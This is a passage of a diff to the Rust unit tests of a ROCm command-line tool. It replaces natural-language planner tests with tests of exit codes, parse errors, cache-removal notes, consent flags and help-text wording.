`rocm`'s successful commands don't + /// regress to a nonzero code. #[test] - fn hybrid_planner_asks_for_folder_before_therock_install() { - let plan = build_freeform_plan( - "install the TheRock wheel from date 06052026", - &RocmCliConfig::default(), - ); + fn exit_code_for_ok_is_success() { + assert_eq!(super::exit_code_for(Ok(())), ExitCode::SUCCESS); + } - assert_eq!(plan.intent, PlannerIntent::Ask); - assert!(plan.actions.is_empty()); - assert!(plan.approval.contains("install folder")); - assert!( - plan.notes - .iter() - .any(|note| note.contains("install folder")) - ); - assert!( - plan.parsed - .contains(&("build_date".to_owned(), "2026-06-05".to_owned())) - ); + /// `fix()`'s marker error must carry its exact code through, since that + /// code (2/3/4/5) is part of `rocm fix`'s documented contract. + #[test] + fn exit_code_for_fix_exit_code_carries_the_code() { + let err = anyhow::Error::new(super::FixExitCode(3)); + assert_eq!(super::exit_code_for(Err(err)), ExitCode::from(3)); } + /// `ClapExitCode` exists so a usage/parse error can reach `main()` through + /// the ordinary return path (letting `_log_guard` drop) instead of + /// `clap::Error::exit()` calling `std::process::exit` mid-stack. Guard the + /// downcast the same way `exit_code_for_fix_exit_code_carries_the_code` + /// guards `FixExitCode`'s. #[test] - fn hybrid_planner_handles_small_cpu_model_without_gpu_fallback() { - let plan = build_freeform_plan("run a small local model on cpu", &RocmCliConfig::default()); + fn exit_code_for_clap_exit_code_carries_the_code() { + let err = anyhow::Error::new(super::ClapExitCode(2)); + assert_eq!(super::exit_code_for(Err(err)), ExitCode::from(2)); + } - assert_eq!(plan.intent, PlannerIntent::Serve); - assert!( - plan.parsed - .contains(&("model".to_owned(), "sshleifer/tiny-gpt2".to_owned())) - ); - assert!( - plan.parsed - .contains(&("device_policy".to_owned(), "cpu_not_supported".to_owned())) + /// `run()`'s mistyped-subcommand branch and `parse_cli()` both route a + /// real `clap::Error` through the production `clap_exit_code` helper + /// (not a hand-built `ClapExitCode`), so this calls that same helper on a + /// real parse failure to exercise the actual + /// `clap parse failure -> clap_exit_code -> ClapExitCode -> exit_code_for` + /// chain end to end. Reverting `clap_exit_code` to call `err.exit()` + /// directly, or dropping its use from either call site, breaks this. + #[test] + fn clap_error_exit_code_survives_the_clap_exit_code_round_trip() { + let err = command_invocation_error(&["instal".to_owned()]) + .expect("`instal` should read as a mistyped subcommand"); + let expected_code = err.exit_code(); + let result: Result<()> = Err(super::clap_exit_code(err)); + assert_eq!( + super::exit_code_for(result), + ExitCode::from(expected_code as u8) ); - assert!(plan.actions.is_empty()); - assert!( - plan.notes - .iter() - .any(|note| note.contains("CPU mode is not offered")) + } + + /// `parse_cli()` itself reads `std::env::args_os()` (via + /// `Command::try_get_matches()`), which a unit test cannot redirect, so + /// this exercises the same `cli_command()` builder with an explicit argv + /// instead: an unrecognised flag is the common case `parse_cli()` was + /// still routing through `err.exit()` before it switched from + /// `get_matches()` to `try_get_matches()`. + #[test] + fn cli_command_rejects_unknown_flag_through_clap_exit_code() { + let err = super::cli_command() + .try_get_matches_from(["rocm", "--this-flag-does-not-exist"]) + .expect_err("an unknown flag must be a parse error"); + let expected_code = err.exit_code(); + let result: Result<()> = Err(super::clap_exit_code(err)); + assert_eq!( + super::exit_code_for(result), + ExitCode::from(expected_code as u8) ); } + /// Any other error must still fail with exit 1, matching what + /// `Result<(), anyhow::Error>`'s `Termination` impl already does today for + /// every subcommand other than `fix`. + #[test] + fn exit_code_for_generic_error_is_failure() { + let err = anyhow::anyhow!("boom"); + assert_eq!(super::exit_code_for(Err(err)), ExitCode::FAILURE); + } + + /// Exercises the real `dispatch -> fix -> FixExitCode -> exit_code_for` + /// chain end to end, not just `exit_code_for` in isolation. Guards against + /// a future change at the `Command::Fix` dispatch arm (e.g. discarding the + /// error into a fresh `anyhow!(...)`) silently breaking the downcast and + /// falling through to the generic exit 1. + #[test] + fn dispatch_carries_fixs_exit_code_through_to_exit_code_for() { + // Skip the startup update check: it's a side effect unrelated to what + // this test verifies, and could otherwise touch the network. Goes + // through `ScopedTestEnv` so it's serialized against every other test + // that touches process env and restored on drop even on panic. + let mut env = ScopedTestEnv::new(); + env.set("ROCM_CLI_DISABLE_STARTUP_UPDATE_CHECK", "1"); + let cli = super::Cli { + command: Some(super::Command::Fix { + fix_id: Some("fix-does-not-exist".to_owned()), + yes: true, + dry_run: false, + device_index: None, + json: false, + }), + }; + let result = super::dispatch(cli); + drop(env); + assert_eq!(super::exit_code_for(result), ExitCode::from(2)); + } + + /// A cache that has moved inside a directory uninstall already removes must + /// not be reported as "not removed" — the note would be false. #[test] - fn hybrid_planner_bakes_the_host_engine_into_the_generated_serve_command() { - // The generated command carries an explicit `--engine`, which outranks - // every other signal in `select_serve_engine` -- including the configured - // default. So whatever this planner picks IS what runs, and on an Instinct - // host that must be vLLM. A GPU-blind constant here reintroduced the very - // bug this PR fixes, through the strongest override available. - // - // An empty recipe set is what reaches the host default: a request naming - // an engine, or a matched recipe that prefers one, is answered before the - // fallback -- correctly, since a GGUF model only Lemonade can serve must - // not be forced onto vLLM by the host. - let plan = build_freeform_plan_with_recipes( - "serve some/unmatched-model", - &RocmCliConfig::default(), - Some(&[]), - "vllm", + fn shared_cache_notes_skip_paths_already_being_removed() { + let root = std::env::temp_dir().join(format!("rocm-shared-cache-{}", std::process::id())); + let _ = std::fs::remove_dir_all(&root); + let data = root.join("data"); + let inside = data.join("uv-cache"); + std::fs::create_dir_all(&inside).unwrap(); + + let notes = super::shared_cache_notes_for( + &[root.join("config"), data, root.join("cache")], + &[(inside, "the uv package cache")], ); - let engine_arg = plan - .actions - .iter() - .find_map(|action| { - let index = action.args.iter().position(|arg| arg == "--engine")?; - action.args.get(index + 1).cloned() - }) - .expect("the generated serve command must name an engine"); - assert_eq!( - engine_arg, "vllm", - "the host's engine must reach the generated command:\n{:?}", - plan.actions + assert!( + notes.is_empty(), + "a cache inside a removed directory must not be reported: {notes:?}" ); + + let _ = std::fs::remove_dir_all(&root); } + /// A cache that exists outside everything being removed is reported, with + /// its path, so the plan does not imply a clean slate it will not deliver. #[test] - fn hybrid_planner_lets_a_configured_engine_outrank_the_host_default() { - let config = RocmCliConfig { - default_engine: Some("lemonade".to_owned()), - ..RocmCliConfig::default() - }; - let plan = build_freeform_plan_with_recipes( - "serve some/unmatched-model", - &config, - Some(&[]), - "vllm", - ); + fn shared_cache_notes_report_paths_left_behind() { + let root = std::env::temp_dir().join(format!("rocm-shared-out-{}", std::process::id())); + let _ = std::fs::remove_dir_all(&root); + let outside = root.join("elsewhere").join("uv"); + std::fs::create_dir_all(&outside).unwrap(); - let engine_arg = plan - .actions - .iter() - .find_map(|action| { - let index = action.args.iter().position(|arg| arg == "--engine")?; - action.args.get(index + 1).cloned() - }) - .expect("the generated serve command must name an engine"); - assert_eq!( - engine_arg, "lemonade", - "an engine the user configured must still win:\n{:?}", - plan.actions + let notes = super::shared_cache_notes_for( + &[root.join("data")], + &[(outside.clone(), "the uv package cache")], ); - } - #[test] - fn hybrid_planner_defaults_generic_local_assistant_to_validated_qwen() { - let plan = build_freeform_plan_with_recipes( - "start a local model", - &RocmCliConfig::default(), - None, - "lemonade", + assert_eq!(notes.len(), 1, "{notes:?}"); + assert!(notes[0].contains("not removed"), "{notes:?}"); + assert!( + notes[0].contains(&outside.display().to_string()), + "{notes:?}" ); - assert_eq!(plan.intent, PlannerIntent::Serve); - assert_eq!(plan.confidence, "high"); - assert!(plan.parsed.contains(&( - "model".to_owned(), - providers::BUILTIN_ASSISTANT_MODEL_ID.to_owned() - ))); - assert!(plan.actions.iter().any(|action| { - action.approval == "required" - && action.args - == vec![ - "serve".to_owned(), - providers::BUILTIN_ASSISTANT_MODEL_ID.to_owned(), - "--engine".to_owned(), - "lemonade".to_owned(), - "--device".to_owned(), - "gpu_required".to_owned(), - "--managed".to_owned(), - ] - })); + let _ = std::fs::remove_dir_all(&root); } + /// A cache that does not exist is not worth mentioning. #[test] - fn freeform_plan_next_action_rejects_cpu_mode_request() { - assert!( - freeform_plan_next_action("run a small local model on cpu", &RocmCliConfig::default()) - .is_none() + fn shared_cache_notes_ignore_missing_paths() { + let missing = std::env::temp_dir().join("rocm-definitely-not-here-12345"); + let notes = super::shared_cache_notes_for( + &[std::env::temp_dir()], + &[(missing, "the uv package cache")], ); + assert!(notes.is_empty(), "{notes:?}"); } - #[test] - fn freeform_plan_next_action_surfaces_approval_action() { - let action = - freeform_plan_next_action("serve qwen3.5 with vllm", &RocmCliConfig::default()) - .expect("serve request should have next action"); + use super::*; + use serde_json::json; - assert_eq!(action.title, "Launch local endpoint"); - assert!(action.approval_required); - assert!(!action.has_placeholders); - assert_eq!( - action.args, - vec![ - "serve".to_owned(), - "Qwen/Qwen3.5-4B".to_owned(), - "--engine".to_owned(), - "vllm".to_owned(), - "--device".to_owned(), - "gpu_required".to_owned(), - "--managed".to_owned(), - ] - ); + /// Serializes and isolates tests that read or mutate process-global env vars. + /// + /// `std::env::set_var`/`remove_var` are `unsafe` in edition 2024 because + /// concurrent env mutation races with any concurrent `env::var` read anywhere + /// in the process, and `cargo test` runs these functions multi-threaded in one + /// binary. A unique variable name does not make a mutation safe — the hazard is + /// the mutation racing a read, not a name collision. Every test that touches + /// env therefore holds this one process-wide lock, and each mutation is saved + /// and restored on drop so it cannot leak into another test. + pub(crate) struct ScopedTestEnv { + _lock: std::sync::MutexGuard<'static, ()>, + saved: Vec<(String, Option)>, } - #[test] - fn freeform_invocation_supports_leading_yes_for_natural_language_only() { - let invocation = parse_freeform_invocation(&[ - "--yes".to_owned(), - "please".to_owned(), - "serve".to_owned(), - "qwen3.5".to_owned(), - "with".to_owned(), - "vllm".to_owned(), - ]); + impl ScopedTestEnv { + pub(crate) fn new() -> Self { + static LOCK: Mutex<()> = Mutex::new(()); + let lock = LOCK + .lock() + .unwrap_or_else(std::sync::PoisonError::into_inner); + Self { + _lock: lock, + saved: Vec::new(), + } + } - assert!(invocation.approve); - assert!(should_treat_as_freeform(&invocation)); - assert_eq!( - invocation.request_args, - vec![ - "please".to_owned(), - "serve".to_owned(), - "qwen3.5".to_owned(), - "with".to_owned(), - "vllm".to_owned(), - ] - ); + /// Clear the two AMD driver-install override vars for the duration of the + /// test, so a value exported in the developer's or runner's shell cannot + /// leak into a plan and make its resolved `repo_version`/package release + /// disagree with the assertion. + pub(crate) fn with_amd_overrides_cleared() -> Self { + let mut env = Self::new(); + env.clear("ROCM_CLI_AMDGPU_VERSION"); + env.clear("ROCM_CLI_AMDGPU_PACKAGE_RELEASE"); + env + } - let structured = parse_freeform_invocation(&[ - "--yes".to_owned(), - "install".to_owned(), - "sdk".to_owned(), - "--dry-run".to_owned(), - ]); - assert!(structured.approve); - assert!(!treat_as_natural_language(&structured.request_args)); - assert!(!should_treat_as_freeform(&structured)); - } + fn save(&mut self, key: &str) { + if !self.saved.iter().any(|(saved_key, _)| saved_key == key) { + self.saved.push((key.to_owned(), std::env::var(key).ok())); + } + } - #[test] - fn freeform_invocation_rejects_unquoted_structured_command_names_after_yes() { - let invalid_install = parse_freeform_invocation(&[ - "--yes".to_owned(), - "install".to_owned(), - "sdk".to_owned(), - "--bad-flag".to_owned(), - ]); - let invalid_serve = parse_freeform_invocation(&[ - "--yes".to_owned(), - "serve".to_owned(), - "qwen3.5".to_owned(), - "with".to_owned(), - "vllm".to_owned(), - ]); + #[allow(unsafe_code)] // std::env::set_var is unsafe in edition 2024 + pub(crate) fn set(&mut self, key: &str, value: &str) { + self.save(key); + unsafe { + std::env::set_var(key, value); + } + } - assert!(!should_treat_as_freeform(&invalid_install)); - assert!(!should_treat_as_freeform(&invalid_serve)); + #[allow(unsafe_code)] // std::env::remove_var is unsafe in edition 2024 + pub(crate) fn clear(&mut self, key: &str) { + self.save(key); + unsafe { + std::env::remove_var(key); + } + } } - #[test] - fn freeform_invocation_rejects_flag_shaped_yes_request() { - let help = parse_freeform_invocation(&["--yes".to_owned(), "--help".to_owned()]); - let bad_flag = parse_freeform_invocation(&["--yes".to_owned(), "--bad-flag".to_owned()]); - - assert!(!should_treat_as_freeform(&help)); - assert!(!should_treat_as_freeform(&bad_flag)); + impl Drop for ScopedTestEnv { + #[allow(unsafe_code)] // std::env::set_var/remove_var are unsafe in edition 2024 + fn drop(&mut self) { + for (key, previous) in self.saved.iter().rev() { + unsafe { + match previous { + Some(value) => std::env::set_var(key, value), + None => std::env::remove_var(key), + } + } + } + } } - #[test] - fn freeform_execution_validation_rejects_placeholder_tool_calls() { - let action = freeform_plan_next_action("serve", &RocmCliConfig::default()) - .expect("serve request should have next action"); - - let error = validate_freeform_execution_action(&action) - .unwrap_err() - .to_string(); - - assert!(action.has_placeholders); - assert!(error.contains("placeholder values")); - assert!(error.contains("rocm serve ")); - } + // The previous `daemon_run_argv_targets_rocmd_run_with_automations` unit test + // only re-asserted the literals `daemon_run_argv()` returns, so it tested + // nothing real. The intended real behavior — that this argv actually drives + // `rocmd` into its `run --automations-enabled` foreground loop — is proven + // end-to-end by the `daemon_runs_real_foreground_loop` integration test in + // tests/daemon_run.rs. A non-tautological unit test would require parsing the + // argv through `rocmd::Cli`/`rocmd::Command`, but those clap structs are + // crate-private in rocmd and exposing them (plus their private field types + // like `SandboxToolArg`) is more than a trivial visibility change, so the + // tautological unit test is removed in favor of the integration coverage. #[test] - fn freeform_execution_validation_accepts_fully_structured_tool_call() -> Result<()> { - let action = - freeform_plan_next_action("serve qwen3.5 with vllm", &RocmCliConfig::default()) - .expect("serve request should have next action"); - - validate_freeform_execution_action(&action)?; - assert_eq!( - format_structured_tool_call("rocm", &action.args), - "rocm serve Qwen/Qwen3.5-4B --engine vllm --device gpu_required --managed" - ); - Ok(()) + fn cli_command_definition_is_valid() { + Cli::command().debug_assert(); } + /// EAI-7362: the top-level `rocm --help` command list must be alphabetical, + /// including clap's implicit `help` entry (it must sort into place, not be + /// pinned last). + /// + /// Renders the real help text (not just the command model) so the assertion + /// covers what clap actually prints. #[test] - fn freeform_execution_grants_the_narrow_consent_the_outer_yes_already_gave() { - // `rocm --yes ` dispatches the generated argv **in process**, so - // nothing carries the outer `--yes` into `install()` unless this does. - // Without it the surface prints `approval: granted by --yes` and then - // either refuses non-interactively, asking for a flag it offers no way to - // pass, or prompts on a terminal it just said it would not need to ask. - let request = - "install the latest TheRock nightly for this GPU into D:\\ROCm\\therock_venvs"; - let config = RocmCliConfig::default(); + fn top_level_help_lists_commands_alphabetically() { + let help = cli_command().render_long_help().to_string(); - let planned = freeform_plan_next_action(request, &config) - .expect("install request should have next action"); - assert!( - !planned - .args - .iter() - .any(|arg| arg.starts_with("--yes") || arg.starts_with("--approve-")), - "the plan itself must stay unapproved so `rocm ` shows a \ - reviewable command: {:?}", - planned.args - ); + let commands_section = help + .split_once("Commands:") + .expect("help output has a Commands section") + .1; - // Through the real pre-dispatch path, not the injector in isolation: - // `execute_freeform_next_action` is this plus the header render and - // `dispatch`, so dropping the injection from the pipeline fails here. - let execution = prepare_freeform_execution(request, &test_app_paths(), &config) - .expect("install request should prepare for execution"); - let action = &execution.action; + // Each command entry starts at a fixed two-space indent; wrapped + // description lines are indented further, so a non-space third column + // uniquely identifies a command row. Stop at the blank line that ends + // the section. + let names: Vec = commands_section + .lines() + .skip_while(|line| line.trim().is_empty()) + .take_while(|line| !line.trim().is_empty()) + .filter(|line| line.starts_with(" ") && !line.starts_with(" ")) + .filter_map(|line| line.split_whitespace().next()) + .map(str::to_owned) + .collect(); - assert_eq!( - format_structured_tool_call("rocm", &action.args), - "rocm install sdk --channel nightly --format wheel --prefix \ - D:\\ROCm\\therock_venvs --approve-replacing-active-default" - ); - // The narrow flag, never `--yes`: this surface has no terminal promise to - // make about a sudo password prompt for system packages. - assert!(!action.args.iter().any(|arg| arg == "--yes")); - // The header renders after injection, so the printed tool call is the - // argv that actually runs. - let rendered = render_freeform_execution_header(&execution); - assert!(rendered.contains("--approve-replacing-active-default")); - // And the operator is told why this `tool_call:` carries a consent flag - // the `request plan` section above it did not show. The plan assertion at - // the top of this test is what makes the two lines differ here, so the - // disclosure and the difference are pinned by the same test. assert!( - execution.consent_added, - "the plan arrived unapproved, so the injector must report adding the flag" + names.iter().any(|name| name == "help"), + "expected the implicit `help` entry to appear in the list, got {names:?}" ); assert!( - rendered.contains("was added here from your --yes"), - "the execution section must explain the differing tool_call: {rendered}" + names.len() > 1, + "expected several visible subcommands, got {names:?}" + ); + + let mut sorted = names.clone(); + sorted.sort(); + assert_eq!( + names, sorted, + "top-level `rocm --help` commands are not alphabetized" ); - // Re-parsing must reach `install()` with the consent actually set. - let mut argv = vec!["rocm".to_owned()]; - argv.extend(execution.action.args); - let cli = Cli::try_parse_from(argv).expect("generated argv should parse"); - match cli.command { - Some(Command::Install { - target: - InstallTarget::Sdk { - yes, - approve_replacing_active_default, - .. - }, - }) => { - assert!(approve_replacing_active_default); - assert!(!yes); - } - other => panic!("expected `install sdk`, got {other:?}"), - } } #[test] - fn freeform_execution_consent_is_scoped_to_mutating_sdk_installs() { - // Dry runs return before the consent gate, and the sibling dry-run-aware - // arms in chat, rocmd and dash-tui all withhold the flag there. - let mut dry_run = vec![ - "install".to_owned(), - "sdk".to_owned(), - "--dry-run".to_owned(), - ]; - assert!(!apply_freeform_execution_consent(&mut dry_run)); + fn every_framework_choice_reaches_the_library() { + // The defect this flag fixes was not a missing enum -- the library had + // all four variants -- but that no caller could select one. Pin the + // mapping so a renamed variant cannot silently fall back to the default. + use rocm_core::FrameworkProbe; assert_eq!( - dry_run, - vec![ - "install".to_owned(), - "sdk".to_owned(), - "--dry-run".to_owned() - ] + FrameworkProbe::from(FrameworkArg::Auto), + FrameworkProbe::Auto ); - - // Nothing else the planner can emit takes this flag; injecting it would - // not even parse. - for mut args in [ - vec!["install".to_owned(), "driver".to_owned()], - vec!["serve".to_owned(), "qwen".to_owned()], - vec!["comfyui".to_owned(), "install".to_owned()], - ] { - let before = args.clone(); - assert!(!apply_freeform_execution_consent(&mut args)); - assert_eq!(args, before); - } - - // Idempotent: a plan that already carries the flag is not given it twice, - // and reports that it added nothing — the execution section must not - // claim to have added a flag the argv arrived with. - let mut already = vec![ - "install".to_owned(), - "sdk".to_owned(), - "--approve-replacing-active-default".to_owned(), - ]; - assert!(!apply_freeform_execution_consent(&mut already)); assert_eq!( - already - .iter() - .filter(|arg| *arg == "--approve-replacing-active-default") - .count(), - 1 + FrameworkProbe::from(FrameworkArg::Pytorch), + FrameworkProbe::PyTorch + ); + assert_eq!( + FrameworkProbe::from(FrameworkArg::LlamaCpp), + FrameworkProbe::LlamaCpp + ); + assert_eq!( + FrameworkProbe::from(FrameworkArg::Skip), + FrameworkProbe::Skip ); } #[test] - fn freeform_execution_header_surfaces_explicit_approval_and_tool_call() { - let action = - freeform_plan_next_action("serve qwen3.5 with vllm", &RocmCliConfig::default()) - .expect("serve request should have next action"); - let rendered = render_freeform_execution_header(&FreeformExecution { - action, - consent_added: false, - }); - - assert!(rendered.contains("execution")); - assert!(rendered.contains("approval: granted by --yes")); - assert!(rendered.contains( - "tool_call: rocm serve Qwen/Qwen3.5-4B --engine vllm --device gpu_required --managed" - )); - // Nothing was injected on this path, so the two `tool_call:` lines agree - // and the disclosure would be noise that contradicts the plan above. - assert!( - !rendered.contains("was added here"), - "the note must be scoped to an argv this surface actually changed: {rendered}" - ); + fn the_framework_choice_is_offered_on_the_command_line() { + // Guards the actual regression: the variants existed in the library and + // were unreachable from here. A user must be able to see and pass them. + let help = Cli::command() + .find_subcommand_mut("examine") + .expect("examine subcommand") + .render_long_help() + .to_string(); + for choice in ["auto", "pytorch", "llama-cpp", "skip"] { + assert!( + help.contains(choice), + "`{choice}` must be offered by `rocm examine --help`:\n{help}" + ); + } } #[test] - fn hybrid_planner_driver_action_includes_yes_for_approved_execution() { - let plan = build_freeform_plan( - "install the linux driver with dkms", - &RocmCliConfig::default(), - ); - let action = plan - .actions - .iter() - .find(|action| action.title == "Install driver") - .expect("driver plan should include install action"); + fn install_sdk_help_describes_the_gate_as_replacing_the_active_default() { + // `rocm install sdk --help` is the most-read description of the `--yes` + // gate, and it is the one surface a "reword every site" pass can miss — + // this branch's own history has it being missed once and corrected in a + // follow-up. So the assertions read the `yes` argument's own help text + // rather than the whole rendered page: the sibling + // `--approve-replacing-active-default` doc independently satisfies a + // page-wide "active default" match, which would keep a reverted `--yes` + // doc green. + // + // The effect is a displacement, not a deletion: in the default managed + // install root `runtime_key` embeds the resolved version, so an upgrade + // or downgrade lands in its own install root and the previous install + // stays on disk — only the active default moves. Claiming an overwrite + // here would promise a deletion that does not happen and contradict the + // prompt and the README. + let mut command = Cli::command(); + let sdk = command + .find_subcommand_mut("install") + .expect("install subcommand") + .find_subcommand_mut("sdk") + .expect("install sdk subcommand"); + let yes = sdk + .get_arguments() + .find(|arg| arg.get_id() == "yes") + .expect("`install sdk` must offer --yes"); + let yes_help = yes + .get_long_help() + .or_else(|| yes.get_help()) + .expect("--yes must be documented") + .to_string(); - assert_eq!(plan.intent, PlannerIntent::InstallDriver); - assert_eq!( - action.args, - vec![ - "install".to_owned(), - "driver".to_owned(), - "--dkms".to_owned(), - "--yes".to_owned(), - ] + assert!( + yes_help.contains("active default"), + "`--yes` must document itself as approving a replacement of the \ + active default:\n{yes_help}" + ); + assert!( + !yes_help.to_lowercase().contains("overwrit"), + "`--yes` must not claim an overwrite; an upgrade or downgrade leaves \ + the previous install on disk:\n{yes_help}" ); } #[test] - fn hybrid_planner_unknown_request_is_read_only_inspection() { - let plan = build_freeform_plan("what is installed here", &RocmCliConfig::default()); - - assert_eq!(plan.intent, PlannerIntent::Inspect); + fn install_sdk_help_separates_the_two_consents_yes_carries() { + // `--yes` approves two unrelated things: replacing the active default + // runtime, and running `sudo` for required system packages. The whole + // point of the narrow flag is that a caller with no terminal can grant + // the first without the second, so the help has to say so — a reader who + // believes it is a synonym for `--yes` will reach for `--yes` from a + // script and get a sudo prompt nothing can answer. + let help = Cli::command() + .find_subcommand_mut("install") + .expect("install subcommand") + .find_subcommand_mut("sdk") + .expect("install sdk subcommand") + .render_long_help() + .to_string(); assert!( - plan.actions - .iter() - .all(|action| action.approval == "not required") + help.contains("--approve-replacing-active-default"), + "`rocm install sdk --help` must document the narrow consent flag:\n{help}" ); assert!( - plan.actions - .iter() - .all(|action| action.args == vec!["examine".to_owned()]) + help.contains("does not approve system-package installs"), + "`rocm install sdk --help` must say the narrow flag excludes \ + system-package installs:\n{help}" ); } #[test] - fn hybrid_planner_routes_common_status_questions_to_read_only_inspection() { - for prompt in [ - "is rocm installed?", - "which gpu is on my machine?", - "where is therock installed?", - ] { - let plan = build_freeform_plan(prompt, &RocmCliConfig::default()); - - assert_eq!(plan.intent, PlannerIntent::Inspect, "{prompt}"); - assert_eq!(plan.approval, "not required for inspection", "{prompt}"); - assert_eq!(plan.actions.len(), 1, "{prompt}"); - assert_eq!(plan.actions[0].approval, "not required", "{prompt}"); - assert_eq!(plan.actions[0].args, vec!["examine".to_owned()], "{prompt}"); + fn update_apply_approval_never_credits_the_inert_yes_flag() { + // Pins `SdkInstallApprovalSource::UpdateApply`: the update path is + // preapproved, but it must never print a line crediting `--yes`. + // + // `rocm update` now *does* take a `--yes` flag, added for consistency + // with the other mutating commands, and the deliberate decision the + // flag's arrival called for has been made: the behaviour does not + // change. That flag is inert by its own doc comment — applying never + // prompts — and the dispatch above discards it (`yes: _`), so it grants + // nothing. Crediting it would claim an approval the user never gave, + // and on `rocm install sdk` `--yes` additionally approves running + // `sudo`, so the claim would be doubly wrong. + // + // This replaces an assertion that `rocm update --help` contained no + // `--yes` at all: a proxy for the invariant that only held while the + // flag was absent. Pin the invariant itself so this still fails if the + // update path is ever made to credit the flag. + for activates in [true, false] { + let line = therock::preapproved_install_line( + therock::SdkInstallApprovalSource::UpdateApply { activates }, + "upgrade from installed 7.13.0 (release-wheel-gfx120X-all)", + "7.14.0", + ); + assert!( + !line.contains("--yes"), + "`rocm update --apply` (activates={activates}) credited --yes, \ + but that flag grants it nothing: {line}" + ); + assert!( + line.starts_with("Requested by `rocm update --apply"), + "the update path must name itself as the approval source: {line}" + ); } } #[test] - fn hybrid_planner_routes_comfyui_help_and_actions() { - let status = build_freeform_plan("how do i setup comfyui", &RocmCliConfig::default()); - assert_eq!(status.intent, PlannerIntent::Inspect); - assert_eq!(status.approval, "not required for inspection"); - assert_eq!( - status.actions[0].args, - vec!["comfyui".to_owned(), "status".to_owned()] - ); - assert_eq!(status.actions[0].approval, "not required"); - - let install = - build_freeform_plan("can you setup comfyui for me", &RocmCliConfig::default()); - assert_eq!(install.approval, "required before installing ComfyUI"); - assert_eq!( - install.actions[0].args, - vec!["comfyui".to_owned(), "install".to_owned()] + fn runtimes_help_uses_the_runtime_noun_throughout() { + // `comfyui install`'s selection errors steer the user to `rocm runtimes` + // and say "ROCm runtime". The help for the command they land on must use + // the same noun — including its own about line, which `rocm runtimes + // --help` prints above the subcommand list and which the rename missed + // while every subcommand below it already said "runtime". + let help = Cli::command() + .find_subcommand_mut("runtimes") + .expect("runtimes subcommand") + .render_long_help() + .to_string(); + assert!( + help.contains("ROCm runtimes"), + "`rocm runtimes --help` should describe itself with the `runtime` noun:\n{help}" ); - assert_eq!(install.actions[0].approval, "required"); - - let start = build_freeform_plan("can you start comfyui", &RocmCliConfig::default()); - assert_eq!(start.approval, "required before launch"); - assert_eq!( - start.actions[0].args, - vec!["comfyui".to_owned(), "start".to_owned()] + assert!( + !help.contains("ROCm install"), + "`rocm runtimes --help` must not reintroduce the `ROCm install` noun:\n{help}" ); - assert_eq!(start.actions[0].approval, "required"); - } - - #[test] - fn hybrid_planner_casual_request_has_no_rocm_action() { - let plan = build_freeform_plan("hi", &RocmCliConfig::default()); - assert_eq!(plan.intent, PlannerIntent::Ask); - assert!(plan.actions.is_empty()); + // The help is not the only `runtimes` string a user reads: running a + // mutating `rocm runtimes …` from chat raises an approval modal whose + // title is written here, not by clap, so the help assertions above + // cannot reach it. It said "Change ROCm install" until this rename. + let action = chat_rocm_command_action_from_args(vec![ + "runtimes".to_owned(), + "activate".to_owned(), + "some-runtime-key".to_owned(), + ]) + .expect("a mutating runtimes command classifies"); + let ChatRocmCommandAction::Approval { pending_title, .. } = action else { + panic!("`rocm runtimes activate` must require approval, got {action:?}"); + }; assert!( - plan.notes - .iter() - .any(|note| note.contains("No ROCm action")) + pending_title.contains("runtime") && !pending_title.contains("install"), + "the `runtimes` approval modal must use the `runtime` noun, got {pending_title:?}" ); } #[test] - fn close_subcommand_typo_yields_clap_suggestion() { - let err = command_invocation_error(&["instal".to_owned()]) - .expect("a close typo should surface a clap subcommand suggestion"); - let message = err.to_string(); - assert_eq!(err.kind(), clap::error::ErrorKind::InvalidSubcommand); - assert!(message.contains("install")); - } - - #[test] - fn mistyped_command_with_flags_yields_clap_error() { - // `doctorgdfg --help` is a botched command invocation, not prose, so it - // should surface clap's usage error rather than a planner request plan. - let err = command_invocation_error(&["doctorgdfg".to_owned(), "--help".to_owned()]) - .expect("a command-like token followed by a flag should yield a clap error"); - assert_eq!(err.kind(), clap::error::ErrorKind::InvalidSubcommand); - assert!(err.to_string().contains("doctorgdfg")); + fn out_of_scope_commands_are_marked_preview_in_help() { + let help = Cli::command().render_long_help().to_string(); + for command in ["chat", "comfyui", "automations"] { + let line = help + .lines() + .find(|line| line.trim_start().starts_with(command)) + .unwrap_or_else(|| panic!("`{command}` missing from help:\n{help}")); + assert!( + line.contains("[preview]"), + "`{command}` is outside the Tech Preview scope and must say so:\n{line}" + ); + } } #[test] - fn mistyped_command_with_trailing_argument_yields_suggestion() { - // A near-miss subcommand followed by a normal (non-flag) argument should - // still surface clap's suggestion instead of falling to the planner. - let err = command_invocation_error(&["automatios".to_owned(), "list".to_owned()]) - .expect("a near-miss subcommand with a trailing arg should yield a clap suggestion"); - assert_eq!(err.kind(), clap::error::ErrorKind::InvalidSubcommand); - assert!(err.to_string().contains("automations")); + fn the_preview_marker_is_explained_and_not_contradicted() { + let help = Cli::command().render_long_help().to_string(); + // A marker nobody can interpret is no better than no marker. + assert!( + help.contains("Commands marked [preview]"), + "the marker must be explained in the help footer:\n{help}" + ); + // A command cannot be promoted as a headline example while being marked + // unfinished — that is the contradiction this pairing exists to prevent. + let examples = help + .split_once("EXAMPLES:") + .map(|(_, rest)| rest) + .unwrap_or_default(); + for command in ["chat", "comfyui", "automations"] { + assert!( + !examples.contains(&format!("rocm {command}")), + "`{command}` is marked preview, so it must not headline the examples:\n{examples}" + ); + } } - #[test] - fn natural_language_request_has_no_subcommand_suggestion() { - // Multi-word prose requests stay with the planner. - assert!(command_invocation_error(&["please".to_owned(), "install".to_owned()]).is_none()); - // A single token with no near match is left for the planner too. - assert!(command_invocation_error(&["zzzzzzzz".to_owned()]).is_none()); - // Prose that happens to be a single quoted argument is not command-like. - assert!(command_invocation_error(&["please install rocm".to_owned()]).is_none()); - // A single quoted prose request that clap can fuzzily match to a - // subcommand (`is rocm installed?` -> `install`) must still reach the - // planner rather than exiting with clap's suggestion. - assert!(command_invocation_error(&["is rocm installed?".to_owned()]).is_none()); - assert!(command_invocation_error(&["how do i setup comfyui".to_owned()]).is_none()); + /// An `ExamineSummary` with the install-reporting fields under test and + /// everything else inert. + fn summary_with_legacy( + managed_runtime_count: usize, + legacy_status: &str, + legacy_version: Option<&str>, + ) -> ExamineSummary { + ExamineSummary { + os: "linux".to_owned(), + arch: "x86_64".to_owned(), + kernel: None, + distro: None, + cpu: None, + system_ram_gib: None, + interactive_terminal: false, + default_engine: "lemonade".to_owned(), + detected_gfx_target: None, + compatible_therock_family: None, + detected_therock_family: None, + driver: rocm_core::DriverSummary { + policy: "linux_official_amd_dkms_wrapper".to_owned(), + status: "amdgpu_available".to_owned(), + detail: None, + }, + legacy_rocm: 